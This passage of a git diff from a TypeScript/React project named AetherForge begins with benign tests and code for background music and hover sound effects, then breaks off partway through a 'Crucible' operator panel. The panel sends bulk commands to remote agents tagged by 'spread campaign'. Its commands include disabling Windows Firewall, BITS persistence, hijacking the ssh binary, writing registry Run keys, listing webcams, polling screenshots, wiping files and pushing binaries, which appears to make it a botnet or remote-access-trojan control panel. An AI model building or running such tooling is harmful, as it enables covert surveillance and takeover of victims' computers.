beforeEach(() => {
|
||||
localStorage.clear();
|
||||
});
|
||||
|
||||
it('defaults music off and volume ~0.22', () => {
|
||||
expect(loadBgmEnabled()).toBe(false);
|
||||
expect(loadBgmVolume()).toBeCloseTo(0.22);
|
||||
});
|
||||
|
||||
it('persists enabled flag', () => {
|
||||
const p = new AmbientMusicPlayer();
|
||||
p.setEnabled(true);
|
||||
expect(localStorage.getItem(BGM_STORAGE_KEY)).toBe('1');
|
||||
expect(loadBgmEnabled()).toBe(true);
|
||||
});
|
||||
|
||||
it('clamps volume', () => {
|
||||
const p = new AmbientMusicPlayer();
|
||||
p.setVolume(3);
|
||||
expect(p.getVolume()).toBe(1);
|
||||
p.setVolume(-2);
|
||||
expect(p.getVolume()).toBe(0);
|
||||
expect(localStorage.getItem(BGM_VOLUME_KEY)).toBe('0');
|
||||
});
|
||||
|
||||
it('points at public audio path', () => {
|
||||
expect(AMBIENT_MUSIC_SRC).toBe('/audio/ambient.mp3');
|
||||
});
|
||||
});
|
||||
152
server/web/src/audio/ambientMusic.ts
Normal file
152
server/web/src/audio/ambientMusic.ts
Normal file
@@ -0,0 +1,152 @@
|
||||
/**
|
||||
* Looping background music — drop your MP3 at public/audio/ambient.mp3
|
||||
* (MP3 preferred; OGG/WAV also work if you update AMBIENT_MUSIC_SRC).
|
||||
*/
|
||||
export const BGM_STORAGE_KEY = 'aetherforge-bgm';
|
||||
export const BGM_VOLUME_KEY = 'aetherforge-bgm-volume';
|
||||
/** Served from Vite public/ — place ambient.mp3 here before enabling in Settings. */
|
||||
export const AMBIENT_MUSIC_SRC = '/audio/ambient.mp3';
|
||||
|
||||
export function loadBgmEnabled(): boolean {
|
||||
try {
|
||||
const v = localStorage.getItem(BGM_STORAGE_KEY);
|
||||
return v === '1';
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function loadBgmVolume(): number {
|
||||
try {
|
||||
const v = localStorage.getItem(BGM_VOLUME_KEY);
|
||||
if (v === null) return 0.22;
|
||||
const n = parseFloat(v);
|
||||
return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.22;
|
||||
} catch {
|
||||
return 0.22;
|
||||
}
|
||||
}
|
||||
|
||||
function persistBgmEnabled(enabled: boolean) {
|
||||
try {
|
||||
localStorage.setItem(BGM_STORAGE_KEY, enabled ? '1' : '0');
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
function persistBgmVolume(volume: number) {
|
||||
try {
|
||||
localStorage.setItem(BGM_VOLUME_KEY, String(volume));
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
export class AmbientMusicPlayer {
|
||||
private audio: HTMLAudioElement | null = null;
|
||||
private enabled = loadBgmEnabled();
|
||||
private volume = loadBgmVolume();
|
||||
private unlocked = false;
|
||||
private playing = false;
|
||||
private listeners = new Set<(playing: boolean) => void>();
|
||||
|
||||
isEnabled() {
|
||||
return this.enabled;
|
||||
}
|
||||
|
||||
isPlaying() {
|
||||
return this.playing;
|
||||
}
|
||||
|
||||
getVolume() {
|
||||
return this.volume;
|
||||
}
|
||||
|
||||
subscribe(fn: (playing: boolean) => void) {
|
||||
this.listeners.add(fn);
|
||||
return () => { this.listeners.delete(fn); };
|
||||
}
|
||||
|
||||
private setPlaying(v: boolean) {
|
||||
if (this.playing === v) return;
|
||||
this.playing = v;
|
||||
for (const fn of this.listeners) fn(v);
|
||||
}
|
||||
|
||||
setEnabled(enabled: boolean) {
|
||||
this.enabled = enabled;
|
||||
persistBgmEnabled(enabled);
|
||||
if (enabled) {
|
||||
this.ensureAudio();
|
||||
void this.tryPlay();
|
||||
} else {
|
||||
this.pause();
|
||||
}
|
||||
}
|
||||
|
||||
setVolume(volume: number) {
|
||||
this.volume = Math.min(1, Math.max(0, volume));
|
||||
persistBgmVolume(this.volume);
|
||||
if (this.audio) this.audio.volume = this.volume;
|
||||
}
|
||||
|
||||
/** Browsers block autoplay until a user gesture unlocks audio. */
|
||||
unlock() {
|
||||
if (this.unlocked) return;
|
||||
this.unlocked = true;
|
||||
this.ensureAudio();
|
||||
if (this.enabled) void this.tryPlay();
|
||||
}
|
||||
|
||||
togglePlay() {
|
||||
if (this.playing) {
|
||||
this.pause();
|
||||
return false;
|
||||
}
|
||||
if (!this.enabled) {
|
||||
this.setEnabled(true);
|
||||
}
|
||||
void this.tryPlay();
|
||||
return true;
|
||||
}
|
||||
|
||||
private ensureAudio() {
|
||||
if (this.audio || typeof document === 'undefined') return;
|
||||
const el = new Audio(AMBIENT_MUSIC_SRC);
|
||||
el.loop = true;
|
||||
el.preload = 'auto';
|
||||
el.volume = this.volume;
|
||||
el.addEventListener('play', () => this.setPlaying(true));
|
||||
el.addEventListener('pause', () => this.setPlaying(false));
|
||||
el.addEventListener('ended', () => this.setPlaying(false));
|
||||
el.addEventListener('error', () => {
|
||||
this.setPlaying(false);
|
||||
});
|
||||
this.audio = el;
|
||||
}
|
||||
|
||||
private pause() {
|
||||
if (!this.audio) return;
|
||||
this.audio.pause();
|
||||
this.setPlaying(false);
|
||||
}
|
||||
|
||||
async tryPlay(): Promise<boolean> {
|
||||
if (!this.enabled) return false;
|
||||
this.ensureAudio();
|
||||
if (!this.audio) return false;
|
||||
this.audio.volume = this.volume;
|
||||
try {
|
||||
await this.audio.play();
|
||||
this.setPlaying(true);
|
||||
return true;
|
||||
} catch {
|
||||
this.setPlaying(false);
|
||||
/* Autoplay policy — wait for Settings toggle or first click */
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export const ambientMusicPlayer = new AmbientMusicPlayer();
|
||||
48
server/web/src/audio/hoverSfx.test.ts
Normal file
48
server/web/src/audio/hoverSfx.test.ts
Normal file
@@ -0,0 +1,48 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { describe, it, expect, beforeEach } from 'vitest';
|
||||
import {
|
||||
HoverSfxEngine,
|
||||
loadHoverEnabled,
|
||||
loadHoverVolume,
|
||||
HOVER_SFX_STORAGE_KEY,
|
||||
HOVER_SFX_VOLUME_KEY,
|
||||
} from './hoverSfx';
|
||||
|
||||
describe('hoverSfx prefs', () => {
|
||||
beforeEach(() => {
|
||||
localStorage.clear();
|
||||
});
|
||||
|
||||
it('defaults hover on and volume ~0.25', () => {
|
||||
expect(loadHoverEnabled()).toBe(true);
|
||||
expect(loadHoverVolume()).toBeCloseTo(0.25);
|
||||
});
|
||||
|
||||
it('persists enabled flag', () => {
|
||||
const e = new HoverSfxEngine();
|
||||
e.setEnabled(false);
|
||||
expect(localStorage.getItem(HOVER_SFX_STORAGE_KEY)).toBe('0');
|
||||
expect(loadHoverEnabled()).toBe(false);
|
||||
});
|
||||
|
||||
it('clamps volume', () => {
|
||||
const e = new HoverSfxEngine();
|
||||
e.setVolume(2);
|
||||
expect(e.getVolume()).toBe(1);
|
||||
e.setVolume(-1);
|
||||
expect(e.getVolume()).toBe(0);
|
||||
expect(localStorage.getItem(HOVER_SFX_VOLUME_KEY)).toBe('0');
|
||||
});
|
||||
|
||||
it('debounces rapid play calls', () => {
|
||||
const e = new HoverSfxEngine();
|
||||
e.setDebounceMs(200);
|
||||
e.setEnabled(true);
|
||||
expect(() => {
|
||||
e.play(true);
|
||||
e.play(true);
|
||||
}).not.toThrow();
|
||||
});
|
||||
});
|
||||
194
server/web/src/audio/hoverSfx.ts
Normal file
194
server/web/src/audio/hoverSfx.ts
Normal file
@@ -0,0 +1,194 @@
|
||||
/** Short dubstep/techno hover blips — Web Audio, no asset files. */
|
||||
|
||||
export const HOVER_SFX_STORAGE_KEY = 'aetherforge-hover-sfx';
|
||||
export const HOVER_SFX_VOLUME_KEY = 'aetherforge-hover-volume';
|
||||
|
||||
export function loadHoverEnabled(): boolean {
|
||||
try {
|
||||
const v = localStorage.getItem(HOVER_SFX_STORAGE_KEY);
|
||||
return v === null ? true : v === '1';
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
export function loadHoverVolume(): number {
|
||||
try {
|
||||
const v = localStorage.getItem(HOVER_SFX_VOLUME_KEY);
|
||||
if (v === null) return 0.25;
|
||||
const n = parseFloat(v);
|
||||
return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.25;
|
||||
} catch {
|
||||
return 0.25;
|
||||
}
|
||||
}
|
||||
|
||||
function persistHoverEnabled(enabled: boolean) {
|
||||
try {
|
||||
localStorage.setItem(HOVER_SFX_STORAGE_KEY, enabled ? '1' : '0');
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
function persistHoverVolume(volume: number) {
|
||||
try {
|
||||
localStorage.setItem(HOVER_SFX_VOLUME_KEY, String(volume));
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
type HoverVariant = 'wub' | 'blip' | 'stab';
|
||||
|
||||
export class HoverSfxEngine {
|
||||
private ctx: AudioContext | null = null;
|
||||
private enabled = loadHoverEnabled();
|
||||
private volume = loadHoverVolume();
|
||||
private unlocked = false;
|
||||
private lastPlayAt = 0;
|
||||
private debounceMs = 140;
|
||||
|
||||
isEnabled() {
|
||||
return this.enabled;
|
||||
}
|
||||
|
||||
getVolume() {
|
||||
return this.volume;
|
||||
}
|
||||
|
||||
setEnabled(enabled: boolean) {
|
||||
this.enabled = enabled;
|
||||
persistHoverEnabled(enabled);
|
||||
}
|
||||
|
||||
setVolume(volume: number) {
|
||||
this.volume = Math.min(1, Math.max(0, volume));
|
||||
persistHoverVolume(this.volume);
|
||||
}
|
||||
|
||||
setDebounceMs(ms: number) {
|
||||
this.debounceMs = Math.max(80, ms);
|
||||
}
|
||||
|
||||
unlock() {
|
||||
if (this.unlocked) return;
|
||||
try {
|
||||
const Ctx =
|
||||
typeof window !== 'undefined'
|
||||
? window.AudioContext ||
|
||||
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext
|
||||
: undefined;
|
||||
if (!Ctx) return;
|
||||
if (!this.ctx) this.ctx = new Ctx();
|
||||
if (this.ctx.state === 'suspended') void this.ctx.resume();
|
||||
this.unlocked = true;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
/** Respects main SFX mute via `sfxEnabled` from caller. */
|
||||
play(sfxEnabled = true) {
|
||||
if (!sfxEnabled || !this.enabled) return;
|
||||
const now = Date.now();
|
||||
if (now - this.lastPlayAt < this.debounceMs) return;
|
||||
this.lastPlayAt = now;
|
||||
this.unlock();
|
||||
try {
|
||||
const Ctx = window.AudioContext ||
|
||||
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext;
|
||||
if (!Ctx) return;
|
||||
if (!this.ctx) this.ctx = new Ctx();
|
||||
const ctx = this.ctx;
|
||||
if (ctx.state === 'suspended') void ctx.resume();
|
||||
const variant = pickVariant();
|
||||
this.scheduleVariant(ctx, variant);
|
||||
} catch {
|
||||
/* Audio blocked */
|
||||
}
|
||||
}
|
||||
|
||||
preview(sfxEnabled = true) {
|
||||
this.lastPlayAt = 0;
|
||||
this.play(sfxEnabled);
|
||||
}
|
||||
|
||||
private scheduleVariant(ctx: AudioContext, variant: HoverVariant) {
|
||||
const master = ctx.createGain();
|
||||
master.gain.value = this.volume;
|
||||
master.connect(ctx.destination);
|
||||
const t0 = ctx.currentTime;
|
||||
switch (variant) {
|
||||
case 'wub':
|
||||
this.scheduleWub(ctx, master, t0);
|
||||
break;
|
||||
case 'blip':
|
||||
this.scheduleBlip(ctx, master, t0);
|
||||
break;
|
||||
case 'stab':
|
||||
this.scheduleStab(ctx, master, t0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private scheduleWub(ctx: AudioContext, dest: GainNode, t0: number) {
|
||||
const osc = ctx.createOscillator();
|
||||
const g = ctx.createGain();
|
||||
const filter = ctx.createBiquadFilter();
|
||||
filter.type = 'lowpass';
|
||||
filter.frequency.setValueAtTime(420, t0);
|
||||
filter.frequency.exponentialRampToValueAtTime(90, t0 + 0.1);
|
||||
osc.type = 'sawtooth';
|
||||
osc.frequency.setValueAtTime(95, t0);
|
||||
osc.frequency.exponentialRampToValueAtTime(42, t0 + 0.09);
|
||||
g.gain.setValueAtTime(0.0001, t0);
|
||||
g.gain.exponentialRampToValueAtTime(0.09, t0 + 0.012);
|
||||
g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.11);
|
||||
osc.connect(filter);
|
||||
filter.connect(g);
|
||||
g.connect(dest);
|
||||
osc.start(t0);
|
||||
osc.stop(t0 + 0.13);
|
||||
}
|
||||
|
||||
private scheduleBlip(ctx: AudioContext, dest: GainNode, t0: number) {
|
||||
const freq = 280 + Math.random() * 180;
|
||||
const osc = ctx.createOscillator();
|
||||
const g = ctx.createGain();
|
||||
osc.type = 'square';
|
||||
osc.frequency.setValueAtTime(freq, t0);
|
||||
osc.frequency.exponentialRampToValueAtTime(freq * 1.4, t0 + 0.04);
|
||||
g.gain.setValueAtTime(0.0001, t0);
|
||||
g.gain.exponentialRampToValueAtTime(0.05, t0 + 0.006);
|
||||
g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.055);
|
||||
osc.connect(g);
|
||||
g.connect(dest);
|
||||
osc.start(t0);
|
||||
osc.stop(t0 + 0.07);
|
||||
}
|
||||
|
||||
private scheduleStab(ctx: AudioContext, dest: GainNode, t0: number) {
|
||||
const osc = ctx.createOscillator();
|
||||
const g = ctx.createGain();
|
||||
osc.type = 'triangle';
|
||||
osc.frequency.setValueAtTime(62, t0);
|
||||
osc.frequency.setValueAtTime(48, t0 + 0.03);
|
||||
g.gain.setValueAtTime(0.0001, t0);
|
||||
g.gain.exponentialRampToValueAtTime(0.07, t0 + 0.01);
|
||||
g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.08);
|
||||
osc.connect(g);
|
||||
g.connect(dest);
|
||||
osc.start(t0);
|
||||
osc.stop(t0 + 0.1);
|
||||
}
|
||||
}
|
||||
|
||||
function pickVariant(): HoverVariant {
|
||||
const r = Math.random();
|
||||
if (r < 0.45) return 'wub';
|
||||
if (r < 0.8) return 'blip';
|
||||
return 'stab';
|
||||
}
|
||||
|
||||
export const hoverSfxEngine = new HoverSfxEngine();
|
||||
@@ -136,6 +136,8 @@ export default function AgentListItem({
|
||||
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
|
||||
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
|
||||
<span>v{agent.version || '?'}</span>
|
||||
{agent.build_id && <span className="mono" title="Forge build">build:{agent.build_id.slice(0, 8)}</span>}
|
||||
{agent.campaign && <span className="agent-tag-chip" title="Spread campaign">c:{agent.campaign}</span>}
|
||||
</div>
|
||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
|
||||
|
||||
575
server/web/src/components/Fleet/CrucibleExpandedOps.tsx
Normal file
575
server/web/src/components/Fleet/CrucibleExpandedOps.tsx
Normal file
@@ -0,0 +1,575 @@
|
||||
import { useState, useEffect, useRef, useCallback, type ReactNode } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, Build } from '../../types';
|
||||
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
|
||||
import {
|
||||
isWindowsPlatform,
|
||||
onlineAgents,
|
||||
parseCameraListMessage,
|
||||
selectionAggressiveHint,
|
||||
selectionCanRunAggressive,
|
||||
} from '../../help/crucibleOps';
|
||||
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||||
|
||||
interface Props {
|
||||
selectedAgents: Agent[];
|
||||
selectedCount: number;
|
||||
singleSelectedAgent: Agent | null;
|
||||
commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>;
|
||||
onEcho: (text: string, isCmd?: boolean) => void;
|
||||
onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void;
|
||||
}
|
||||
|
||||
function CollapsibleGroup({
|
||||
label,
|
||||
className,
|
||||
defaultOpen = true,
|
||||
children,
|
||||
}: {
|
||||
label: string;
|
||||
className: string;
|
||||
defaultOpen?: boolean;
|
||||
children: ReactNode;
|
||||
}) {
|
||||
const [open, setOpen] = useState(defaultOpen);
|
||||
return (
|
||||
<div className={`crucible-op-group ${className} crucible-op-collapsible`}>
|
||||
<button type="button" className="cop-toggle" onClick={() => setOpen((v) => !v)}>
|
||||
<span className="cop-label">{label}</span>
|
||||
<span className="cop-chevron">{open ? '▲' : '▼'}</span>
|
||||
</button>
|
||||
{open && <div className="cop-body">{children}</div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function CrucibleExpandedOps({
|
||||
selectedAgents,
|
||||
selectedCount,
|
||||
singleSelectedAgent,
|
||||
commandResults,
|
||||
onEcho,
|
||||
onAgentError,
|
||||
}: Props) {
|
||||
const targets = onlineAgents(selectedAgents);
|
||||
const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
|
||||
const hasSelection = selectedCount > 0;
|
||||
const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null;
|
||||
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
const [selectedBuildId, setSelectedBuildId] = useState('');
|
||||
const [liveDesktop, setLiveDesktop] = useState(false);
|
||||
const liveDesktopRef = useRef(false);
|
||||
liveDesktopRef.current = liveDesktop;
|
||||
|
||||
const [wolMac, setWolMac] = useState('');
|
||||
const [registryOpen, setRegistryOpen] = useState(false);
|
||||
const [regHive, setRegHive] = useState('HKCU');
|
||||
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
|
||||
const [regName, setRegName] = useState('');
|
||||
const [regValue, setRegValue] = useState('');
|
||||
const [regType, setRegType] = useState('REG_SZ');
|
||||
|
||||
const [cameras, setCameras] = useState<string[]>([]);
|
||||
const [selectedCamera, setSelectedCamera] = useState('');
|
||||
const [killPid, setKillPid] = useState('');
|
||||
const [deletePath, setDeletePath] = useState('');
|
||||
const [moveSrc, setMoveSrc] = useState('');
|
||||
const [moveDst, setMoveDst] = useState('');
|
||||
const [wipePath, setWipePath] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (singleSelectedAgent?.mac_address && !wolMac) {
|
||||
setWolMac(singleSelectedAgent.mac_address);
|
||||
}
|
||||
}, [singleSelectedAgent?.mac_address, wolMac]);
|
||||
|
||||
const dispatchOne = useCallback(
|
||||
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
|
||||
try {
|
||||
const res = await api.sendAgentCommand(agent.id, action, args);
|
||||
if (res.success === false) {
|
||||
onAgentError(agent.id, agent.name, action, res.error ?? 'rejected');
|
||||
}
|
||||
} catch (err) {
|
||||
onAgentError(agent.id, agent.name, action, err);
|
||||
}
|
||||
},
|
||||
[onAgentError]
|
||||
);
|
||||
|
||||
const bulkDispatch = useCallback(
|
||||
(action: string, args: Record<string, unknown> = {}, tgts = targets) => {
|
||||
if (tgts.length === 0) return;
|
||||
for (const a of tgts) {
|
||||
void dispatchOne(a, action, args);
|
||||
}
|
||||
onEcho(`${action} → ${tgts.length} node(s)`, true);
|
||||
},
|
||||
[dispatchOne, onEcho, targets]
|
||||
);
|
||||
|
||||
const aggDisabled = (action: AggressiveRemoteAction) =>
|
||||
!hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents);
|
||||
|
||||
const aggTitle = (action: AggressiveRemoteAction) =>
|
||||
selectionAggressiveHint(action, selectedAgents) ??
|
||||
aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform);
|
||||
|
||||
const aggBulk = (
|
||||
action: AggressiveRemoteAction,
|
||||
args: Record<string, unknown> = {},
|
||||
confirm?: string,
|
||||
tgts = targets
|
||||
) => {
|
||||
if (!hasSelection || tgts.length === 0) return;
|
||||
if (confirm && !window.confirm(confirm)) return;
|
||||
bulkDispatch(action, args, tgts);
|
||||
};
|
||||
|
||||
// Live desktop polling (single node)
|
||||
useEffect(() => {
|
||||
if (!liveDesktop || !singleOnline) return;
|
||||
let focused = document.visibilityState === 'visible';
|
||||
const onVis = () => { focused = document.visibilityState === 'visible'; };
|
||||
document.addEventListener('visibilitychange', onVis);
|
||||
const tick = () => {
|
||||
if (!focused || !liveDesktopRef.current) return;
|
||||
api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {});
|
||||
};
|
||||
const id = setInterval(tick, 3000);
|
||||
tick();
|
||||
return () => {
|
||||
clearInterval(id);
|
||||
document.removeEventListener('visibilitychange', onVis);
|
||||
};
|
||||
}, [liveDesktop, singleOnline]);
|
||||
|
||||
useEffect(() => () => setLiveDesktop(false), []);
|
||||
|
||||
const lastCameraMsg = useRef('');
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length) return;
|
||||
const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message);
|
||||
if (!hit?.message || hit.message === lastCameraMsg.current) return;
|
||||
lastCameraMsg.current = hit.message;
|
||||
const devs = parseCameraListMessage(hit.message);
|
||||
if (devs.length > 0) {
|
||||
setCameras(devs);
|
||||
setSelectedCamera(devs[0]);
|
||||
}
|
||||
}, [commandResults]);
|
||||
|
||||
const listCameras = async () => {
|
||||
const agent = singleOnline ?? targets[0];
|
||||
if (!agent) return;
|
||||
onEcho('camera_list → ' + agent.name, true);
|
||||
try {
|
||||
const res = await api.sendAgentCommand(agent.id, 'camera_list');
|
||||
if (res.success === false) {
|
||||
onAgentError(agent.id, agent.name, 'camera_list', res.error);
|
||||
return;
|
||||
}
|
||||
} catch (err) {
|
||||
onAgentError(agent.id, agent.name, 'camera_list', err);
|
||||
}
|
||||
};
|
||||
|
||||
const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => {
|
||||
const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
|
||||
if (winTargets.length === 0) {
|
||||
alert('Registry ops require online Windows agent(s).');
|
||||
return;
|
||||
}
|
||||
if (winTargets.length > 1 && !window.confirm(`Registry ${action} on ${winTargets.length} Windows nodes?`)) {
|
||||
return;
|
||||
}
|
||||
const payload =
|
||||
action === 'registry_read'
|
||||
? { data: JSON.stringify({ hive: regHive, path: regPath }) }
|
||||
: action === 'registry_write'
|
||||
? {
|
||||
data: JSON.stringify({
|
||||
hive: regHive,
|
||||
path: regPath,
|
||||
name: regName,
|
||||
value: regValue,
|
||||
type: regType,
|
||||
}),
|
||||
}
|
||||
: { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) };
|
||||
bulkDispatch(action, payload, winTargets);
|
||||
};
|
||||
|
||||
const sendWol = async () => {
|
||||
const tgts = selectedAgents.length > 0 ? selectedAgents : [];
|
||||
if (tgts.length === 0) return;
|
||||
for (const a of tgts) {
|
||||
try {
|
||||
const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined);
|
||||
onEcho(
|
||||
res.success
|
||||
? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})`
|
||||
: `✗ WOL ${a.name}: ${res.error ?? 'failed'}`,
|
||||
true
|
||||
);
|
||||
} catch (err) {
|
||||
onAgentError(a.id, a.name, 'wol', err);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const pushUpgrade = () => {
|
||||
const build = builds.find((b) => b.id === selectedBuildId);
|
||||
if (!build?.download_url || targets.length === 0) return;
|
||||
if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return;
|
||||
bulkDispatch('upgrade', { data: build.download_url });
|
||||
};
|
||||
|
||||
return (
|
||||
<>
|
||||
<CollapsibleGroup label="Network" className="cop-network" defaultOpen>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="C2 + pool DNS/TCP reachability JSON"
|
||||
onClick={() => bulkDispatch('connectivity_probe')}
|
||||
>
|
||||
Connectivity Probe
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="TCP listeners table"
|
||||
onClick={() => bulkDispatch('listen_ports')}
|
||||
>
|
||||
Listen Ports
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="Windows Update / patch exposure"
|
||||
onClick={() => bulkDispatch('patch_status')}
|
||||
>
|
||||
Patch Status
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="ARP cache neighbors on shared subnets"
|
||||
onClick={() => bulkDispatch('arp_neighbors')}
|
||||
>
|
||||
ARP Neighbors
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('firewall_punch')}
|
||||
title={aggTitle('firewall_punch')}
|
||||
onClick={() => aggBulk('firewall_punch', { command: '8989' })}
|
||||
>
|
||||
Open FW Port
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('firewall_off')}
|
||||
title={aggTitle('firewall_off')}
|
||||
onClick={() => aggBulk('firewall_off', {}, 'Disable Windows Firewall on ALL profiles?')}
|
||||
>
|
||||
FW Off
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('firewall_on')}
|
||||
title={aggTitle('firewall_on')}
|
||||
onClick={() => aggBulk('firewall_on', {}, 'Enable Windows Firewall on all profiles?')}
|
||||
>
|
||||
FW On
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('firewall_profiles')}
|
||||
title={aggTitle('firewall_profiles') || 'Disable Private+Public profiles'}
|
||||
onClick={() => aggBulk('firewall_profiles', { command: 'off', path: 'Private,Public' })}
|
||||
>
|
||||
FW Private Off
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('firewall_remove')}
|
||||
title={aggTitle('firewall_remove')}
|
||||
onClick={() => aggBulk('firewall_remove', {}, 'Remove AetherForge firewall rules?')}
|
||||
>
|
||||
Remove FW Rules
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('hole_punch_status')}
|
||||
title={aggTitle('hole_punch_status')}
|
||||
onClick={() => aggBulk('hole_punch_status')}
|
||||
>
|
||||
WAN IP
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('hole_punch_close')}
|
||||
title={aggTitle('hole_punch_close')}
|
||||
onClick={() => aggBulk('hole_punch_close', { command: '8989' })}
|
||||
>
|
||||
Close UPnP
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('tunnel_stop')}
|
||||
title={aggTitle('tunnel_stop') || 'Stop all outbound tunnels'}
|
||||
onClick={() => aggBulk('tunnel_stop', { command: 'all' }, 'Stop all tunnels on selected nodes?')}
|
||||
>
|
||||
Stop Tunnels
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('mesh_status')}
|
||||
title={aggTitle('mesh_status')}
|
||||
onClick={() => aggBulk('mesh_status')}
|
||||
>
|
||||
Mesh Peers
|
||||
</button>
|
||||
</CollapsibleGroup>
|
||||
|
||||
<CollapsibleGroup label="Persistence" className="cop-persist">
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('bits_persist')}
|
||||
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
|
||||
onClick={() => aggBulk('bits_persist')}
|
||||
>
|
||||
BITS Persist
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('host_binary_persist')}
|
||||
title={aggTitle('host_binary_persist') || 'Hijack host client binary'}
|
||||
onClick={() => aggBulk('host_binary_persist', { path: 'ssh' })}
|
||||
>
|
||||
Host Binary
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="Read-only audit: Run keys, tasks, systemd/launchd"
|
||||
onClick={() => bulkDispatch('persistence_audit')}
|
||||
>
|
||||
Persistence Audit
|
||||
</button>
|
||||
</CollapsibleGroup>
|
||||
|
||||
<CollapsibleGroup label="Fleet Maintenance" className="cop-maint" defaultOpen>
|
||||
<div className="crucible-inline-row crucible-upgrade-row">
|
||||
<select
|
||||
className="crucible-inline-select"
|
||||
value={selectedBuildId}
|
||||
onChange={(e) => setSelectedBuildId(e.target.value)}
|
||||
disabled={targets.length === 0}
|
||||
>
|
||||
<option value="">— pick build —</option>
|
||||
{builds.filter((b) => b.download_url).map((b) => (
|
||||
<option key={b.id} value={b.id}>
|
||||
{b.file_name ?? b.id} ({b.platform ?? 'win'})
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!selectedBuildId || targets.length === 0}
|
||||
onClick={pushUpgrade}
|
||||
>
|
||||
Push Upgrade
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{singleOnline && (
|
||||
<button
|
||||
className={`button crucible-op-btn ${liveDesktop ? 'crucible-op-active' : ''}`}
|
||||
title="Poll screenshot every 3s while tab is focused"
|
||||
onClick={() => setLiveDesktop((v) => !v)}
|
||||
>
|
||||
{liveDesktop ? '■ Live Desktop' : '▶ Live Desktop'}
|
||||
</button>
|
||||
)}
|
||||
|
||||
<div className="crucible-inline-row">
|
||||
<input
|
||||
className="crucible-inline-input"
|
||||
